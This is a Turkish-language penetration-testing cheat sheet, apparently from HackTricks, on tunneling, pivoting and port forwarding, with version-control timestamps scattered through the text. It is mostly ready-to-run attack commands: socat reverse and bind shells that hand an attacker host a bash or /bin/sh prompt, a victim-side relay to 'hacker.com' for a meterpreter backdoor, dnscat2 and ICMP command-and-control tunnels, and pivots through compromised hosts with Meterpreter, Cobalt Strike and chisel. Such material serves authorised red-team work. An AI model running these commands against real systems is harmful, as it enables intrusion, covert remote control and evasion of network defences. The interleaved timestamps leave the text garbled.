2024-02-10 18:14:16 +00:00
# Tünelleme ve Port Yönlendirme
2022-04-28 16:01:33 +00:00
< details >
2024-03-26 15:52:57 +00:00
< summary > < strong > Sı fı rdan kahraman olmak için AWS hackleme öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-26 15:52:57 +00:00
* **Bir siber güvenlik şirketinde mi çalı şı yorsunuz?** **Şirketinizi HackTricks'te reklamı nı görmek ister misiniz?** veya **PEASS'ı n en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-03-14 23:41:46 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-03-26 15:52:57 +00:00
* [**Resmi PEASS & HackTricks ürünlerini alı n** ](https://peass.creator-spring.com )
* **Katı lı n** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking püf noktaları nı zı göndererek [hacktricks repo ](https://github.com/carlospolop/hacktricks ) ve [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )** üzerinden paylaşı n.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:41:46 +00:00
**Try Hard Güvenlik Grubu**
2024-03-26 15:52:57 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:41:46 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-10 18:14:16 +00:00
## Nmap ipucu
2022-08-14 10:22:31 +00:00
{% hint style="warning" %}
2024-03-24 12:30:51 +00:00
**ICMP** ve **SYN** taramaları çorap proxy'ler aracı lı ğı yla tünellenemez, bu nedenle bu işlem için **ping keşfini devre dı şı bı rakmalı yı z** (`-Pn`) ve **TCP taramaları nı belirtmeliyiz** (`-sT`).
2022-08-14 10:22:31 +00:00
{% endhint %}
2022-07-12 09:09:35 +00:00
## **Bash**
2024-03-14 23:41:46 +00:00
**Ana Bilgisayar -> Atlama -> DahiliA -> DahiliB**
2022-07-12 09:09:35 +00:00
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
2022-07-30 10:31:46 +00:00
nc -lvnp 5985 0< backpipe | nc -lvnp 3333 1 > backpipe
2022-07-12 09:09:35 +00:00
# On InternalA accessible from Jump and can access InternalB
## Expose port 3333 and connect it to the winrm port of InternalB
2022-07-30 10:31:46 +00:00
exec 3< >/dev/tcp/internalB/5985
exec 4< >/dev/tcp/Jump/3333
cat < & 3 >& 4 &
cat < & 4 >& 3 &
2022-07-12 09:09:35 +00:00
2022-10-11 08:23:55 +00:00
# From the host, you can now access InternalB from the Jump server
2022-07-12 09:09:35 +00:00
evil-winrm -u username -i Jump
```
2022-05-08 23:13:03 +00:00
## **SSH**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
SSH grafik bağlantı sı (X)
2020-07-15 15:43:14 +00:00
```bash
ssh -Y -C < user > @< ip > #-Y is less secure but faster than -X
```
2024-02-10 18:14:16 +00:00
### Yerel Port2Port
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:57 +00:00
Yeni bir Port açı n SSH Sunucusu --> Diğer port
2020-07-15 15:43:14 +00:00
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
2022-05-08 23:13:03 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Yerel port --> Kompromize edilmiş ana bilgisayar (SSH) --> Üçüncü\_kutu:Port
2020-07-15 15:43:14 +00:00
```bash
2024-02-10 18:14:16 +00:00
ssh -i ssh_key < user > @< ip_compromised > -L < attacker_port > :< ip_victim > :< remote_port > [-p < ssh_port > ] [-N -f] #This way the terminal is still in your host
2020-07-15 15:43:14 +00:00
#Example
2020-09-04 18:29:25 +00:00
sudo ssh -L 631:< ip_victim > :631 -N -f -l < username > < ip_compromised >
2020-07-15 15:43:14 +00:00
```
2022-05-08 23:13:03 +00:00
### Port2hostnet (proxychains)
2020-07-15 15:43:14 +00:00
2024-03-14 23:41:46 +00:00
Yerel Port --> Kompromize edilmiş ana makine (SSH) --> Herhangi bir yer
2020-07-15 15:43:14 +00:00
```bash
ssh -f -N -D < attacker_port > < username > @< ip_compromised > #All sent to local port will exit through the compromised server (use as proxy)
```
2024-02-10 18:14:16 +00:00
### Ters Port Yönlendirme
2020-07-15 15:43:14 +00:00
2024-03-24 13:33:29 +00:00
Bu, iç ağdaki ana bilgisayarlar üzerinden bir DMZ aracı lı ğı yla ters kabuk almak için kullanı şlı dı r:
2022-10-02 15:25:27 +00:00
```bash
ssh -i dmz_key -R < dmz_internal_ip > :443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
2024-02-10 18:14:16 +00:00
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
2022-10-02 15:25:27 +00:00
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
```
2024-02-10 18:14:16 +00:00
### VPN-Tünel
2022-10-02 15:25:27 +00:00
2024-03-26 15:52:57 +00:00
Her iki cihazda da **root yetkisine** ihtiyacı nı z var (yeni arayüzler oluşturacağı nı z için) ve sshd yapı landı rması root girişine izin vermelidir:\
2022-05-08 23:13:03 +00:00
`PermitRootLogin yes` \
2020-07-15 15:43:14 +00:00
`PermitTunnel yes`
```bash
2022-12-30 09:44:03 +00:00
ssh root@server -w any:any #This will create Tun interfaces in both devices
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the client side network interface
2020-07-15 15:43:14 +00:00
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
2022-12-30 09:44:03 +00:00
ifconfig tun0 up #Activate the server side network interface
2020-07-15 15:43:14 +00:00
```
2024-03-14 23:41:46 +00:00
Sunucu tarafı nda yönlendirmeyi etkinleştirin.
2024-02-10 18:14:16 +00:00
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
2024-03-26 15:52:57 +00:00
Müşteri tarafı nda yeni bir rota belirleyin.
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
route add -net 10.0.0.0/16 gw 1.1.1.1
```
2022-05-08 23:13:03 +00:00
## SSHUTTLE
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:57 +00:00
Bir örneğin, 10.10.10.0/24'e giden tüm trafiği bir ana bilgisayar üzerinden **ssh** ile **tünel**leyebilirsiniz.
2020-07-15 15:43:14 +00:00
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
2024-02-10 18:14:16 +00:00
Özel anahtar ile bağlantı kurun
2022-12-28 14:17:50 +00:00
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
2022-05-08 23:13:03 +00:00
## Meterpreter
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
2024-03-14 23:41:46 +00:00
Yerel port --> Kompromize edilmiş ana makine (aktif oturum) --> Üçüncü\_kutu:Port
2020-07-15 15:43:14 +00:00
```bash
# Inside a meterpreter session
portfwd add -l < attacker_port > -p < Remote_port > -r < Remote_host >
```
2024-03-14 23:41:46 +00:00
### SOCKS
2024-02-10 18:14:16 +00:00
2024-03-26 15:52:57 +00:00
SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağ üzerinden yönlendirmek için kullanı lan bir protokoldür. SOCKS sunucuları , istemci isteklerini alı r ve hedef sunuculara iletmek için bağlantı ları yönlendirir. Bu, ağ trafiğini gizlemek ve coğrafi kı sı tlamaları aşmak için kullanı labilir.
2020-07-15 15:43:14 +00:00
```bash
background# meterpreter session
2020-12-29 16:25:19 +00:00
route add < IP_victim > < Netmask > < Session > # (ex: route add 10.10.10.14 255.255.255.0 8)
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
2024-03-24 12:30:51 +00:00
Başka bir yöntem:
2020-07-15 15:43:14 +00:00
```bash
background #meterpreter session
2020-12-29 16:33:11 +00:00
use post/multi/manage/autoroute
2020-07-15 15:43:14 +00:00
set SESSION < session_n >
set SUBNET < New_net_ip > #Ex: set SUBNET 10.1.13.0
set NETMASK < Netmask >
run
2020-12-29 16:38:01 +00:00
use auxiliary/server/socks_proxy
set VERSION 4a
2020-07-15 15:43:14 +00:00
run #Proxy port 1080 by default
2020-12-29 16:38:01 +00:00
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
2020-07-15 15:43:14 +00:00
```
2022-08-14 10:22:31 +00:00
## Cobalt Strike
### SOCKS proxy
2024-03-26 15:52:57 +00:00
Takı m sunucusunda dinleyen bir port açı n ve **trafiği beacon üzerinden yönlendirmek için kullanı labilen tüm arayüzlerde dinlemeye başlayı n** .
2022-08-14 10:22:31 +00:00
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
# Set port 1080 as proxy server in proxychains.conf
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
```
2022-08-14 12:59:30 +00:00
### rPort2Port
{% hint style="warning" %}
2024-03-26 15:52:57 +00:00
Bu durumda, **liman, işaretçi ana bilgisayarı nda açı lı r** , Takı m Sunucusunda değil ve trafik Takı m Sunucusuna ve oradan belirtilen ana bilgisayara:limana gönderilir.
2022-08-14 12:59:30 +00:00
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
2024-02-10 18:14:16 +00:00
### rPort2Port yerel
2022-08-14 12:59:30 +00:00
{% hint style="warning" %}
2024-03-26 15:52:57 +00:00
Bu durumda, **liman Beacon ana bilgisayarı nda açı lı r** , Team Sunucusunda değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Sunucusuna değil) ve oradan belirtilen ana bilgisayara:limana yönlendirilir.
2022-08-14 12:59:30 +00:00
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```
2022-05-08 23:13:03 +00:00
## reGeorg
2020-07-15 15:43:14 +00:00
[https://github.com/sensepost/reGeorg ](https://github.com/sensepost/reGeorg )
2024-03-26 15:52:57 +00:00
Web dosya tüneli yüklemeniz gerekmektedir: ashx|aspx|js|jsp|php|php|jsp
2020-07-15 15:43:14 +00:00
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
2022-05-08 23:13:03 +00:00
## Chisel
2020-09-04 15:28:12 +00:00
2024-03-26 15:52:57 +00:00
[https://github.com/jpillora/chisel ](https://github.com/jpillora/chisel )ı n yayı nlar sayfası ndan indirebilirsiniz.\
2024-03-24 13:33:29 +00:00
İstemci ve sunucu için **aynı sürümü kullanmanı z gerekmektedir**
2020-09-04 15:28:12 +00:00
2022-05-08 23:13:03 +00:00
### socks
2020-09-04 15:28:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel server -p 8080 --reverse #Server -- Attacker
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim
2021-01-09 12:25:38 +00:00
#And now you can use proxychains with port 1080 (default)
2022-10-05 21:51:12 +00:00
./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed)
./chisel client -v 10.10.10.10:8080 socks #Attacker
2020-09-04 15:28:12 +00:00
```
2024-03-24 13:33:29 +00:00
### Port Yönlendirme
2021-03-24 04:37:12 +00:00
```bash
2022-10-05 21:51:12 +00:00
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
2021-03-24 04:37:12 +00:00
```
2022-05-08 23:13:03 +00:00
## Rpivot
2020-07-15 15:43:14 +00:00
[https://github.com/klsecservices/rpivot ](https://github.com/klsecservices/rpivot )
2024-03-26 15:52:57 +00:00
Ters tünel. Tünel kurban tarafı ndan başlatı lı r.\
2024-03-14 23:41:46 +00:00
127.0.0.1:1080 üzerinde bir socks4 vekil sunucu oluşturulur.
2020-07-15 15:43:14 +00:00
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999
```
2024-03-26 15:52:57 +00:00
**NTLM proxy** üzerinden pivot yapı n.
2020-07-15 15:43:14 +00:00
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip < rpivot_server_ip > --server-port 9999 --ntlm-proxy-ip < proxy_ip > --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
2022-05-08 23:13:03 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-02-10 18:14:16 +00:00
### Bağlama kabuğu
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2022-10-05 21:51:12 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP4:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2024-03-24 13:33:29 +00:00
### Ters Kabuk
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2024-03-14 23:41:46 +00:00
### Port2Port
2024-02-10 18:14:16 +00:00
2024-03-24 13:33:29 +00:00
### Port2Port
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:< lport > ,fork TCP4:< redirect_ip > :< rport > &
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### Socks üzerinden Port2Port
2020-07-15 15:43:14 +00:00
```bash
2022-10-05 21:51:12 +00:00
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
2020-07-15 15:43:14 +00:00
```
2024-03-26 15:52:57 +00:00
### SSL üzerinden Meterpreter kullanı mı
2020-07-15 15:43:14 +00:00
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
2024-03-14 23:41:46 +00:00
Kurbanı n konsolunda son yerine bu satı rı çalı ştı rarak **kimlik doğrulaması yapı lmamı ş bir proxy** 'yi atlayabilirsiniz:
2020-07-15 15:43:14 +00:00
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
2024-03-26 15:52:57 +00:00
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ ](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/ )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### SSL Socat Tüneli
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**/bin/sh konsolu**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Her iki tarafta da sertifikalar oluşturun: İstemci ve Sunucu
2020-07-15 15:43:14 +00:00
```bash
2022-09-13 13:07:37 +00:00
# Execute these commands on both sides
2020-07-15 15:43:14 +00:00
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
2024-02-10 18:14:16 +00:00
### Uzaktan Port2Port
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:57 +00:00
Yerel SSH portunu (22) saldı rganı n ana bilgisayarı nı n 443 portuna bağlayı n
2020-07-15 15:43:14 +00:00
```bash
2024-02-10 18:14:16 +00:00
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:< attacker > :443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
2020-07-15 15:43:14 +00:00
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
2022-05-08 23:13:03 +00:00
## Plink.exe
2020-07-15 15:43:14 +00:00
2024-03-24 13:33:29 +00:00
Bu, konsol PuTTY sürümü gibidir (seçenekler bir ssh istemcisine çok benzer).
2020-07-15 15:43:14 +00:00
2024-03-24 12:30:51 +00:00
Bu ikili, kurban üzerinde yürütüleceği için ve bir ssh istemcisi olduğu için, ters bağlantı ya sahip olabilmek için ssh hizmetimizi ve bağlantı noktamı zı açmamı z gerekmektedir. Ardı ndan, yalnı zca yerel olarak erişilebilir bağlantı noktası nı makinedeki bir bağlantı noktası na yönlendirmek için:
2020-07-15 15:43:14 +00:00
```bash
2021-01-03 00:43:09 +00:00
echo y | plink.exe -l < Our_valid_username > -pw < valid_password > [-p < port > ] -R < port_ in_our_host > :< next_ip > :< final_port > < your_ip >
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
2020-07-15 15:43:14 +00:00
```
2022-10-05 21:51:12 +00:00
## Windows netsh
### Port2Port
2024-02-10 18:14:16 +00:00
Herhangi bir bağlantı noktası için yerel yönetici olmanı z gerekmektedir.
2022-10-05 21:51:12 +00:00
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
2024-02-10 18:14:16 +00:00
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
2022-10-05 21:51:12 +00:00
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
2024-03-26 15:52:57 +00:00
## SocksOverRDP & Proxifier
2022-10-05 21:51:12 +00:00
2024-03-26 15:52:57 +00:00
Sisteme **RDP erişimine** sahip olmanı z gerekmektedir.\
İndirme:
2022-10-05 21:51:12 +00:00
2024-03-14 23:41:46 +00:00
1. [SocksOverRDP x64 İkili Dosyaları ](https://github.com/nccgroup/SocksOverRDP/releases ) - Bu araç, Windows'un Uzak Masaüstü Hizmeti özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanı r. DVC, **paketleri RDP bağlantı sı üzerinden tünelleme**den sorumludur.
2024-03-26 15:52:57 +00:00
2. [Proxifier Taşı nabilir İkili ](https://www.proxifier.com/download/#win-tab )
2022-10-05 21:51:12 +00:00
2024-03-26 15:52:57 +00:00
İstemci bilgisayarı nı za şu şekilde ** `SocksOverRDP-Plugin.dll` ** yükleyin:
2022-10-05 21:51:12 +00:00
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
2024-03-26 15:52:57 +00:00
Şimdi ** `mstsc.exe` ** kullanarak **RDP** üzerinden **hedefe bağlanabiliriz** ve **SocksOverRDP eklentisinin etkinleştirildiğine** dair bir **uyarı ** almalı yı z ve **127.0.0.1:1080** üzerinde **dinleyecektir** .
2022-10-05 21:51:12 +00:00
2024-03-26 15:52:57 +00:00
**RDP** üzerinden **bağlanı n** ve **hedef makinede** `SocksOverRDP-Server.exe` ikili dosyası nı **yükleyip çalı ştı rı n** :
2022-10-05 21:51:12 +00:00
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
2024-03-24 12:30:51 +00:00
Şimdi, makinenizde (saldı rgan) 1080 numaralı portun dinlemede olduğunu doğrulayı n:
2022-10-05 21:51:12 +00:00
```
netstat -antb | findstr 1080
```
2024-03-24 13:33:29 +00:00
Şimdi o trafiği o bağlantı noktası üzerinden vekillemek için [**Proxifier** ](https://www.proxifier.com/ ) **kullanabilirsiniz.**
2022-10-05 21:51:12 +00:00
2024-03-14 23:41:46 +00:00
## Windows GUI Uygulamaları nı Vekil Yapma
2022-08-14 10:22:31 +00:00
2024-03-26 15:52:57 +00:00
Windows GUI uygulamaları nı bir proxy üzerinden gezinmek için [**Proxifier** ](https://www.proxifier.com/ ) kullanabilirsiniz.\
**Profil -> Vekil Sunucular** bölümüne SOCKS sunucusunun IP'sini ve bağlantı noktası nı ekleyin.\
**Profil -> Vekillendirme Kuralları ** bölümüne vekilleştirmek istediğiniz programı n adı nı ve vekilleştirmek istediğiniz IP'lerin bağlantı ları nı ekleyin.
2020-07-15 15:43:14 +00:00
2024-03-14 23:41:46 +00:00
## NTLM vekil atlatma
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Önceden bahsedilen araç: **Rpivot** \
2024-03-26 15:52:57 +00:00
**OpenVPN** ayrı ca bunu atlayabilir, yapı landı rma dosyası nda şu seçenekleri ayarlayarak:
2020-07-15 15:43:14 +00:00
```bash
http-proxy < proxy_ip > 8080 < file_with_creds > ntlm
```
2022-05-08 23:13:03 +00:00
### Cntlm
2020-07-15 15:43:14 +00:00
2022-05-16 08:29:00 +00:00
[http://cntlm.sourceforge.net/ ](http://cntlm.sourceforge.net/ )
2020-07-15 15:43:14 +00:00
2024-03-14 23:41:46 +00:00
Bu, bir proxy'e kimlik doğrulaması yapar ve belirttiğiniz harici hizmete yönlendirilen yerel bir bağlantı noktası bağlar. Daha sonra, bu bağlantı noktası aracı lı ğı yla istediğiniz aracı kullanabilirsiniz.\
2024-02-10 18:14:16 +00:00
Örneğin, 443 numaralı bağlantı noktası nı yönlendirir.
2022-05-08 23:13:03 +00:00
```
2024-02-10 18:14:16 +00:00
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
2020-07-15 15:43:14 +00:00
Tunnel 2222:< attackers_machine > :443
```
2024-03-24 13:33:29 +00:00
Şimdi, örneğin kurbanı n **SSH** servisini 443 numaralı porta dinlemesi için ayarlarsanı z. Saldı rgan port 2222 üzerinden buna bağlanabilirsiniz.\
Ayrı ca localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldı rgan 2222 numaralı porta dinleyebilir.
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
## YARP
2020-07-15 15:43:14 +00:00
2024-03-24 13:33:29 +00:00
Microsoft tarafı ndan oluşturulan bir ters proxy. Burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy ](https://github.com/microsoft/reverse-proxy )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## DNS Tünellemesi
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Iodine
2020-07-15 15:43:14 +00:00
[https://code.kryo.se/iodine/ ](https://code.kryo.se/iodine/ )
2024-03-24 13:33:29 +00:00
Her iki sistemde de kök erişimi gereklidir, tun adaptörleri oluşturmak ve DNS sorguları nı kullanarak araları nda veri tünellemek için.
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
2024-03-26 15:52:57 +00:00
Tünel çok yavaş olacak. Bu tünel aracı lı ğı yla sı kı ştı rı lmı ş bir SSH bağlantı sı oluşturabilirsiniz:
2022-05-08 23:13:03 +00:00
```
2020-07-15 15:43:14 +00:00
ssh < user > @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
2022-05-08 23:13:03 +00:00
### DNSCat2
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
[**Buradan indirin** ](https://github.com/iagox86/dnscat2 )**.**
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:57 +00:00
DNS üzerinden bir C\&C kanalı oluşturur. Kök izinlerine ihtiyaç duymaz.
2020-07-15 15:43:14 +00:00
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
2022-10-05 21:51:12 +00:00
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
2020-07-15 15:43:14 +00:00
```
2024-03-14 23:41:46 +00:00
#### **PowerShell'de**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
PowerShell'de bir dnscat2 istemcisini çalı ştı rmak için [**dnscat2-powershell** ](https://github.com/lukebaggett/dnscat2-powershell ) kullanabilirsiniz:
2022-10-05 21:51:12 +00:00
```
Import-Module .\dnscat2.ps1
2024-02-10 18:14:16 +00:00
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
2022-10-05 21:51:12 +00:00
```
2024-02-10 18:14:16 +00:00
#### **dnscat ile port yönlendirme**
2020-07-15 15:43:14 +00:00
```bash
session -i < sessions_id >
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
2024-03-14 23:41:46 +00:00
#### Proxychains DNS'ini Değiştirme
2020-07-15 15:43:14 +00:00
2024-03-26 15:52:57 +00:00
Proxychains, `gethostbyname` libc çağrı sı nı engeller ve tcp DNS isteğini socks proxy üzerinden tüneller. **Varsayı lan olarak** , proxychains'in kullandı ğı **DNS** sunucusu **4.2.2.2** 'dir (sabitlenmiş). Değiştirmek için, dosyayı düzenleyin: _/usr/lib/proxychains3/proxyresolv_ ve IP'yi değiştirin. Eğer **Windows ortamı nda** iseniz, **alan denetleyicisinin** IP'sini ayarlayabilirsiniz.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Go'da Tüneller
2020-07-15 15:43:14 +00:00
[https://github.com/hotnops/gtunnel ](https://github.com/hotnops/gtunnel )
2024-03-26 15:52:57 +00:00
## ICMP Tünelleme
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
### Hans
2020-07-15 15:43:14 +00:00
2022-05-08 23:13:03 +00:00
[https://github.com/friedrich/hans ](https://github.com/friedrich/hans )\
2020-07-15 15:43:14 +00:00
[https://github.com/albertzak/hanstunnel ](https://github.com/albertzak/hanstunnel )
2024-03-26 15:52:57 +00:00
Her iki sistemde de kök erişimi gereklidir, tün adaptörleri oluşturmak ve ICMP echo isteklerini kullanarak araları nda veri tünelleme yapmak için.
2020-07-15 15:43:14 +00:00
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c < server_ip > -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
2022-10-05 21:51:12 +00:00
### ptunnel-ng
2024-02-10 18:14:16 +00:00
[**Buradan indirin** ](https://github.com/utoni/ptunnel-ng.git ).
2022-10-05 21:51:12 +00:00
```bash
# Generate it
2024-02-10 18:14:16 +00:00
sudo ./autogen.sh
2022-10-05 21:51:12 +00:00
# Server -- victim (needs to be able to receive ICMP)
sudo ptunnel-ng
# Client - Attacker
sudo ptunnel-ng -p < server_ip > -l < listen_port > -r < dest_ip > -R < dest_port >
# Try to connect with SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1
# Create a socks proxy through the SSH connection through the ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1
```
2023-03-15 12:00:16 +00:00
## ngrok
2024-03-14 23:41:46 +00:00
**[ngrok](https://ngrok.com/) bir komut satı rı nda internete çözümleri açı ğa çı karmak için bir araçtı r.**
2024-03-24 13:33:29 +00:00
*Açı ğa çı karma URI'leri şuna benzer:* **UID.ngrok.io**
2023-03-15 12:00:16 +00:00
2024-02-10 18:14:16 +00:00
### Kurulum
2023-03-15 12:00:16 +00:00
2024-02-10 18:14:16 +00:00
